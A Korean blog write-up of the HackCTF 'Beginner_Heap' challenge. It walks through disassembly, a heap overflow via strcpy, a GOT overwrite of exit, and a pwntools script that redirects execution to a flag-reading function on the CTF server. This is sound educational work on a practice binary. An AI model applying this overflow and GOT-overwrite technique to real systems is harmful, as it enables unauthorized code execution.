본문 바로가기

CTF_Write_UP/HackCTF

[HackCTF] Beginner_Heap

시작

안녕하세요 :D

오늘은!! 월요일이지만 사무실이 쉬는 날!! 맘껏 포너블 할 수 있어요 ㅎㅎㅎㅎㅎ

드디어 힙 문제가 나왔습니다!!

Beginner가 붙어 있으니깐 쉬운 문제일 거에요 ㅋㅋ

시작해보죠!

Write UP

root@goorm:/workspace/LCH_Server/HackCTF/17.Beginner_heap# ./beginner_heap.bin
aaaa
aaaa

입력 두 개를 받습니다.

gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x0000000000400670  free@plt
0x0000000000400680  _exit@plt
0x0000000000400690  strcpy@plt
0x00000000004006a0  puts@plt
0x00000000004006b0  __libc_start_main@plt
0x00000000004006c0  fgets@plt
0x00000000004006d0  malloc@plt
0x00000000004006e0  fflush@plt
0x00000000004006f0  fopen@plt
0x0000000000400700  getline@plt
0x0000000000400710  exit@plt

main()이 없네요?

IDA도 없으니깐.. objdump로 텍스트 영역을 봐야할 것 같습니다.

  4008a8:       55                      push   rbp
  4008a9:       48 89 e5                mov    rbp,rsp
  4008ac:       48 81 ec 30 10 00 00    sub    rsp,0x1030
  4008b3:       89 bd dc ef ff ff       mov    DWORD PTR [rbp-0x1024],edi
  4008b9:       48 89 b5 d0 ef ff ff    mov    QWORD PTR [rbp-0x1030],rsi
  4008c0:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  4008c7:       00 00
  4008c9:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  4008cd:       31 c0                   xor    eax,eax
  4008cf:       bf 10 00 00 00          mov    edi,0x10
  4008d4:       e8 f7 fd ff ff          call   4006d0 <malloc@plt>
.
.

뭔가 main()의 느낌이 솔솔 납니다.

.
.
  4008cd:       31 c0                   xor    eax,eax
  4008cf:       bf 10 00 00 00          mov    edi,0x10
  4008d4:       e8 f7 fd ff ff          call   4006d0 <malloc@plt>
  4008d9:       48 89 85 e0 ef ff ff    mov    QWORD PTR [rbp-0x1020],rax
  4008e0:       48 8b 85 e0 ef ff ff    mov    rax,QWORD PTR [rbp-0x1020]
  4008e7:       c7 00 01 00 00 00       mov    DWORD PTR [rax],0x1
  4008ed:       bf 08 00 00 00          mov    edi,0x8
  4008f2:       e8 d9 fd ff ff          call   4006d0 <malloc@plt>
  4008f7:       48 89 c2                mov    rdx,rax
  4008fa:       48 8b 85 e0 ef ff ff    mov    rax,QWORD PTR [rbp-0x1020]
  400901:       48 89 50 08             mov    QWORD PTR [rax+0x8],rdx
  400905:       bf 10 00 00 00          mov    edi,0x10
  40090a:       e8 c1 fd ff ff          call   4006d0 <malloc@plt>
  40090f:       48 89 85 e8 ef ff ff    mov    QWORD PTR [rbp-0x1018],rax
  400916:       48 8b 85 e8 ef ff ff    mov    rax,QWORD PTR [rbp-0x1018]
  40091d:       c7 00 02 00 00 00       mov    DWORD PTR [rax],0x2
  400923:       bf 08 00 00 00          mov    edi,0x8
  400928:       e8 a3 fd ff ff          call   4006d0 <malloc@plt>
  40092d:       48 89 c2                mov    rdx,rax
  400930:       48 8b 85 e8 ef ff ff    mov    rax,QWORD PTR [rbp-0x1018]
  400937:       48 89 50 08             mov    QWORD PTR [rax+0x8],rdx
  40093b:       48 8b 15 4e 07 20 00    mov    rdx,QWORD PTR [rip+0x20074e]        # 601090 
  400942:       48 8d 85 f0 ef ff ff    lea    rax,[rbp-0x1010]
  400949:       be 00 10 00 00          mov    esi,0x1000
  40094e:       48 89 c7                mov    rdi,rax
  400951:       e8 6a fd ff ff          call   4006c0 <fgets@plt>
  400956:       48 8b 85 e0 ef ff ff    mov    rax,QWORD PTR [rbp-0x1020]
  40095d:       48 8b 40 08             mov    rax,QWORD PTR [rax+0x8]
  400961:       48 8d 95 f0 ef ff ff    lea    rdx,[rbp-0x1010]
  400968:       48 89 d6                mov    rsi,rdx
  40096b:       48 89 c7                mov    rdi,rax
  40096e:       e8 1d fd ff ff          call   400690 <strcpy@plt>
  400973:       48 8b 15 16 07 20 00    mov    rdx,QWORD PTR [rip+0x200716]        # 601090 
  40097a:       48 8d 85 f0 ef ff ff    lea    rax,[rbp-0x1010]
  400981:       be 00 10 00 00          mov    esi,0x1000
  400986:       48 89 c7                mov    rdi,rax
  400989:       e8 32 fd ff ff          call   4006c0 <fgets@plt>
  40098e:       48 8b 85 e8 ef ff ff    mov    rax,QWORD PTR [rbp-0x1018]
  400995:       48 8b 40 08             mov    rax,QWORD PTR [rax+0x8]
  400999:       48 8d 95 f0 ef ff ff    lea    rdx,[rbp-0x1010]
  4009a0:       48 89 d6                mov    rsi,rdx
  4009a3:       48 89 c7                mov    rdi,rax
  4009a6:       e8 e5 fc ff ff          call   400690 <strcpy@plt>
  4009ab:       bf 00 00 00 00          mov    edi,0x0
  4009b0:       e8 5b fd ff ff          call   400710 <exit@plt>

되게 정신없어 보이지만 막상 한 줄씩 짚어보면 별 거 없어요.

(1번)malloc(0x10) → (2번)malloc(0x8) → (3번)malloc(0x10) → (4번)malloc(0x8) 진행 후

rbp-0x1020에 1번 주소, rbp-0x1018에 3번 주소를 넣습니다.

1번 주소 + 8을 하면 2번 주소가 쓰여있고, 3번 주소 + 8을 하면 4번 주소가 쓰여있어요.

첫 번째 strcpy()를 보면 rbp-0x1020의 값 = 1번 주소를 가져와서 rax에 넣어주고, 이 rax에 8을 더합니다.

결국 2번 주소를 가리키겠죠? 2번 주소에 fgets()로 받은 input을 복사합니다.

두 번째 strcpy()도 rbp-0x1018의 값 = 3번 주소를 가져와서 rax에 넣어주고 마찬가지로 8을 더해 4번 주소에 접근합니다.

fgets()로 받은 input을 복사하며 마무리되는 프로그램이에요.

만약 4번 주소의 힙 영역의 값이 아닌 함수의 got가 들어가있다면 got overwrite가 가능하겠죠?

이걸 이용해서 익스플로잇을 해보겠습니다.

Breakpoint 1, 0x00000000004008d9 in ?? ()
gdb-peda$ x/wx $rax
0x17ee010:      0x00000000

첫 번째 할당되는 힙 영역의 주소는 0x17ee010 입니다. 이후 진행해본 결과 0x20 차이로 4개의 청크가 할당되더라구요.

각각 0x17ee010, 0x17ee030, 0x17ee050, 0x17ee070 로 주소를 줍니다.

gdb-peda$ x/40wx 0x17ee010
0x17ee010:      0x00000001      0x00000000      0x017ee030      0x00000000
0x17ee020:      0x00000000      0x00000000      0x00000021      0x00000000
0x17ee030:      0x00000000      0x00000000      0x00000000      0x00000000
0x17ee040:      0x00000000      0x00000000      0x00000021      0x00000000
0x17ee050:      0x00000002      0x00000000      0x017ee070      0x00000000
0x17ee060:      0x00000000      0x00000000      0x00000021      0x00000000
0x17ee070:      0x00000000      0x00000000      0x00000000      0x00000000
0x17ee080:      0x00000000      0x00000000      0x00020f81      0x00000000
0x17ee090:      0x00000000      0x00000000      0x00000000      0x00000000

힙 영역을 보면 이렇게 되어 있어요.

gdb-peda$ x/20wx $rbp-0x1020
0x7fff51cb02b0: 0x017ee010      0x00000000      0x017ee050      0x00000000

rbp-0x1020 부분은 위와 같이 설정됩니다.

  400956:       48 8b 85 e0 ef ff ff    mov    rax,QWORD PTR [rbp-0x1020]
  40095d:       48 8b 40 08             mov    rax,QWORD PTR [rax+0x8]
  400961:       48 8d 95 f0 ef ff ff    lea    rdx,[rbp-0x1010]
  400968:       48 89 d6                mov    rsi,rdx
  40096b:       48 89 c7                mov    rdi,rax
  40096e:       e8 1d fd ff ff          call   400690 <strcpy@plt>

strcpy() 부분입니다.

rbp-0x1020에 접근 후 8을 더해서 인자로 주는데, 위에서 말한대로 0x17ee030에 데이터를 복사합니다.

얘를 overflow 시켜서 0x17ee070이 적혀 있는 곳을 exit의 got 주소로 덮어쓴다면 strcpy()가 실행될 때 got가 input으로 덮어쓰여질 거에요.

첫 번째 입력에서 0x17ee058 - 0x17ee030 = 0x28 = 40 bytes를 채워주고 exit_got를 넣어주고

두 번째 입력에서 쉘을 떨어뜨리는 함수를 주면 될 것 같습니다.

쉘 함수도 텍스트 영역에서 찾을 수 있습니다.

  400826:       55                      push   rbp
  400827:       48 89 e5                mov    rbp,rsp
  40082a:       48 83 ec 20             sub    rsp,0x20
  40082e:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  400835:       00 00
  400837:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  40083b:       31 c0                   xor    eax,eax
  40083d:       48 c7 45 e0 00 00 00    mov    QWORD PTR [rbp-0x20],0x0
  400844:       00
  400845:       48 c7 45 e8 00 00 00    mov    QWORD PTR [rbp-0x18],0x0
  40084c:       00
  40084d:       be 44 0a 40 00          mov    esi,0x400a44
  400852:       bf 46 0a 40 00          mov    edi,0x400a46
  400857:       e8 94 fe ff ff          call   4006f0 <fopen@plt>
  40085c:       48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
  400860:       48 8b 55 f0             mov    rdx,QWORD PTR [rbp-0x10]
  400864:       48 8d 4d e8             lea    rcx,[rbp-0x18]
  400868:       48 8d 45 e0             lea    rax,[rbp-0x20]
  40086c:       48 89 ce                mov    rsi,rcx
  40086f:       48 89 c7                mov    rdi,rax
  400872:       e8 89 fe ff ff          call   400700 <getline@plt>
  400877:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
  40087b:       48 89 c7                mov    rdi,rax
  40087e:       e8 1d fe ff ff          call   4006a0 <puts@plt>
  400883:       48 8b 05 f6 07 20 00    mov    rax,QWORD PTR [rip+0x2007f6]        # 601080 
  40088a:       48 89 c7                mov    rdi,rax
  40088d:       e8 4e fe ff ff          call   4006e0 <fflush@plt>
  400892:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
  400896:       48 89 c7                mov    rdi,rax
  400899:       e8 d2 fd ff ff          call   400670 <free@plt>
  40089e:       bf 01 00 00 00          mov    edi,0x1
  4008a3:       e8 d8 fd ff ff          call   400680 <_exit@plt>
gdb-peda$ x/s 0x400a46
0x400a46:       "flag"

이 함수의 시작주소인 0x400826을 넣어주면 되겠네요.

코드입니다.

from pwn import *

context.log_level = "debug"

p = remote("ctf.j0n9hyun.xyz", 3016)

payload = ""
flag = 0x400826
exit_got = 0x601068

payload += "A" * 40
payload += p64(exit_got)

p.sendline(payload)

exploit = ""
exploit += p64(flag)

p.sendline(exploit)

p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3016: Done
[DEBUG] Sent 0x31 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  68 10 60 00  00 00 00 00  │AAAA│AAAA│h·`·│····│
    00000030  0a                                                  │·│
    00000031
[DEBUG] Sent 0x9 bytes:
    00000000  26 08 40 00  00 00 00 00  0a                        │&·@·│····│·│
    00000009
[*] Switching to interactive mode
[DEBUG] Received 0x2e bytes:
    '//flag!!'
    '\n'
//flag!!

Exploit!!

마무리

쉽게 풀었는데 설명하기가 길었던 문제였습니다 ㅋㅋㅋㅋ

감사합니다 :D

'CTF_Write_UP > HackCTF' 카테고리의 다른 글

[HackCTF] Gift  (0) 2019.09.23
[HackCTF] Look at me  (0) 2019.09.23
[HackCTF] RTL_Core  (0) 2019.09.22
[HackCTF] Random Key  (0) 2019.09.22
[HackCTF] 1996  (0) 2019.09.22